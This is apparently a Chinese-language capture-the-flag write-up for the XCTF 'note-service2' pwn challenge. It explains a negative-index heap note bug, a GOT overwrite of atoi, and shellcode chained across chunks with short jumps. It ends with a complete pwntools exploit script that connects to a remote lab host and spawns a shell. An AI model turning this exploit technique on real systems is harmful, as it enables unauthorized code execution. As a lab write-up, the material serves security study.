XCTF-note-service2-WP

Posted on Dec 7, 2020

这道题是一个在堆上的shellcode,也是第一次接触。也让我明白了还是要先checksec一下,刚开始做到时候没有检查不知道NX关了,一直想不通该怎么利用,知道看来别人的WP才知道NX没开,可以直接上shellcode。

核心的漏洞函数就是在这里,显然这里存在一个数组越界,虽然做了index大于零的判断,但是好笑的是这是在对数组修改完之后才做的,于是我们可以通过输入一个负数来实现对.bss段前的任意可写地址处的修改,这里我们就可以想到hijack got了。比如我们可以修改atoi的got表,让它来执行shellcode。

这里可以看出数组的下标应该是-0x40/8=-8

然后我们在看一下这个读入函数,一路点到底,是这样的

这里可以看到最多可以读a2-1个字节,第a2一个字节会被自动置为'\x00',也就是说我们最多可以向每个note里写7个字节的content,这样肯定是不够布置shellcode的,那么我们就只能把多个堆空间接起来用了。虽然由于我们对content的分配是连续的,每个chunk都是连续的,但是chunk与chunk中的payload却不是连续的,然后还有内存对齐的问题,所以只能通过jmp来连接shellcode,那么每次应该jmp多少呢。

prevsize8byte
size8byte
payload8byte
memory align8byte
上一个chunk
prevsize8byte
size8byte
payload8byte
memory align8byte
下一个chunk

由于每一个chunk要进行内存对齐,其总大小(payload+overhead的大小)要为2*SIZE_SZ(SIZE_SZ在32位中为4byte,在64位中为8byte)的整数倍,所以每个chunk中会有8个字节的内存对齐区。由此我们可以算出从这个paylaod的头(shellcode的起始地址)到上一个payload的尾部的地址差为8+8+8=24,又由于每一个payload的最后一位一定是'\x00',所以若jmp short nbyte在payload的尾部(\x00前),在jmp时rip指向payload的第七字节,所以jmp的相对长度是24+1=25字节,因此jmp short 0x19就是我们应该布置在payload尾部的shellcode(为了防止重复计算,我们应该用空指令来填充每个payload中的shellcode,让jmp指令在payload的尾部,这样jmp的长度就一直是25了)。

那么这样我们就可以着手写exp了,当然,atoi是一直要用的,所以我们必须在最后修改atoi的got表。修改时got表将会指向某个chunk的payload,并在执行atoi时会直接执行这个payload中的shellcode。这里我们有两个思路,一是直接布置一个jmp,跳到第一个chunk的payload上,二是通过程序提供的delet功能来删除我们申请的第一个chunk,然后再申请下标为-8的note的时候再部署一次shellcode,由fastbin的特性,got会指向原来的第一个chunk,这种方法不需要重复计算了,我这里选择这种方法

from pwn import *                                                                             
context(log_level = 'debug',os = 'linux',arch = 'amd64')                                      
#sh = process("./note-service2")                                                              
sh = remote("220.249.52.133","49146")                                                         
                                                                                              
sh.sendlineafter(">> ","1")                                                                   
sh.sendlineafter("index:","0")                                                                
sh.sendlineafter("size:","8")                                                                 
sh.sendafter("content:",(asm("xor rax,rax") + '\x90\x90' + '\xeb' + '\x19').ljust(7,'\x00'))  
                                                                                              
sh.sendlineafter(">> ","1")                                                                   
sh.sendlineafter("index:","1")                                                                
sh.sendlineafter("size:","8")                                                                 
sh.sendafter("content:",(asm("mov eax,0x3b") + '\xeb' + '\x19').ljust(7,'\x00'))              
                                                                                              
sh.sendlineafter(">> ","1")                                                                   
sh.sendlineafter("index:","2")                                                                
sh.sendlineafter("size:","8")                                                                 
sh.sendafter("content:",(asm("xor rsi,rsi") + '\x90\x90' + '\xeb' + '\x19').ljust(7,'\x00'))  
                                                                                              
sh.sendlineafter(">> ","1")                                                                   
sh.sendlineafter("index:","3")                                                                
sh.sendlineafter("size:","8")                                                                 
sh.sendafter("content:",(asm("xor rdx,rdx") + '\x90\x90' + '\xeb' + '\x19').ljust(7,'\x00'))  
                                                                                              
sh.sendlineafter(">> ","1")                                                                   
sh.sendlineafter("index:","4")                                                                
sh.sendlineafter("size:","8")                                                                 
sh.sendafter("content:",(asm("syscall")).ljust(7,'\x00'))                                     
                                                                                              
sh.sendlineafter(">> ","4")                                                                   
sh.sendlineafter("index:","0")                                                                
                                                                                              
sh.sendlineafter(">> ","1")                                                                   
sh.sendlineafter("index:","-8")                                                               
sh.sendlineafter("size:","8")                                                                 
sh.sendafter("content:",(asm("xor rax,rax") + '\x90\x90' + '\xeb' + '\x19').ljust(7,'\x00'))  
                                                                                              
sh.sendlineafter(">> ","/bin/sh\x00")                                                         
sh.interactive()